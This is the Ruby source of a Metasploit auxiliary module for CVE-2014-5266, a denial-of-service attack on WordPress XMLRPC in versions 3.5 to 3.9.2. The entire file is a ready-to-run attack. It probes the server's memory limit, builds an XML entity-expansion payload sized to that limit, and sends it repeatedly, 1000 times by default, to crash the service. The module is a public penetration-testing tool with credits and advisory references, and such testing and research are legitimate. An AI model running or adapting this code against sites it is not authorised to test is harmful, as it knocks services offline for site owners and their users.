##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress XMLRPC DoS',
        'Description' => %q{
          Wordpress XMLRPC parsing is vulnerable to a XML based denial of service.
          This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are
          also patched).
        },
        'Author' => [
          'Nir Goldshlager', # advisory
          'Christian Mehlmauer' # metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2014-5266'],
          ['URL', 'https://wordpress.org/news/2014/08/wordpress-3-9-2/'],
          ['URL', 'http://www.breaksec.com/?p=6362'],
          ['URL', 'https://mashable.com/archive/wordpress-xml-blowup-dos'],
          ['URL', 'https://core.trac.wordpress.org/changeset/29404'],
          ['WPVDB', '7526']
        ],
        'DisclosureDate' => '2014-08-06',
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptInt.new('RLIMIT', [ true, 'Number of requests to send', 1000 ])
      ]
    )

    register_advanced_options(
      [
        OptInt.new('FINGERPRINT_STEP', [true, 'The stepsize in MB when fingerprinting', 8]),
        OptInt.new('DEFAULT_LIMIT', [true, 'The default limit in MB', 8])
      ]
    )
  end

  def rlimit
    datastore['RLIMIT']
  end

  def default_limit
    datastore['DEFAULT_LIMIT']
  end

  def fingerprint_step
    datastore['FINGERPRINT_STEP']
  end

  def fingerprint
    memory_to_use = fingerprint_step
    # try out the available memory in steps
    # apache will return a server error if the limit is reached
    while memory_to_use < 1024
      vprint_status("trying memory limit #{memory_to_use}MB")
      opts = {
        'method' => 'POST',
        'uri' => wordpress_url_xmlrpc,
        'data' => generate_xml(memory_to_use),
        'ctype' => 'text/xml'
      }

      begin
        # low timeout because the server error is returned immediately
        res = send_request_cgi(opts, 3)
      rescue ::Rex::ConnectionError => e
        print_error("unable to connect: '#{e.message}'")
        break
      end

      if res && res.code == 500
        # limit reached, return last limit
        last_limit = memory_to_use - fingerprint_step
        vprint_status("got an error - using limit #{last_limit}MB")
        return last_limit
      else
        memory_to_use += fingerprint_step
      end
    end

    # no limit can be determined
    print_warning("can not determine limit, will use default of #{default_limit}")
    return default_limit
  end

  def generate_xml(size)
    entity = Rex::Text.rand_text_alpha(3)
    doctype = Rex::Text.rand_text_alpha(6)
    param_value_1 = Rex::Text.rand_text_alpha(5)
    param_value_2 = Rex::Text.rand_text_alpha(5)

    size_bytes = size * 1024

    # Wordpress only resolves one level of entities so we need
    # to specify one long entity and reference it multiple times
    xml = '<?xml version="1.0" encoding="iso-8859-1"?>'
    xml << '<!DOCTYPE %<doctype>s ['
    xml << '<!ENTITY %<entity>s "%<entity_value>s">'
    xml << ']>'
    xml << '<methodCall>'
    xml << '<methodName>'
    xml << '%<payload>s'
    xml << '</methodName>'
    xml << '<params>'
    xml << '<param><value>%<param_value_1>s</value></param>'
    xml << '<param><value>%<param_value_2>s</value></param>'
    xml << '</params>'
    xml << '</methodCall>'

    empty_xml = xml % {
      doctype: '',
      entity: '',
      entity_value: '',
      payload: '',
      param_value_1: '',
      param_value_2: ''
    }

    space_to_fill = size_bytes - empty_xml.size
    vprint_status("max XML space to fill: #{space_to_fill} bytes")

    payload = "&#{entity};" * (space_to_fill / 6)
    entity_value_length = space_to_fill - payload.length

    payload_xml = xml % {
      doctype: doctype,
      entity: entity,
      entity_value: Rex::Text.rand_text_alpha(entity_value_length),
      payload: payload,
      param_value_1: param_value_1,
      param_value_2: param_value_2
    }

    payload_xml
  end

  def run
    # get the max size
    print_status('trying to fingerprint the maximum memory we could use')
    size = fingerprint
    print_status("using #{size}MB as memory limit")

    # only generate once
    xml = generate_xml(size)

    for x in 1..rlimit
      print_status("sending request ##{x}...")
      opts = {
        'method' => 'POST',
        'uri' => wordpress_url_xmlrpc,
        'data' => xml,
        'ctype' => 'text/xml'
      }
      begin
        c = connect
        r = c.request_cgi(opts)
        c.send_request(r)
        # Don't wait for a response, can take very long
      rescue ::Rex::ConnectionError => e
        print_error("unable to connect: '#{e.message}'")
        return
      ensure
        disconnect(c) if c
      end
    end
  end
end
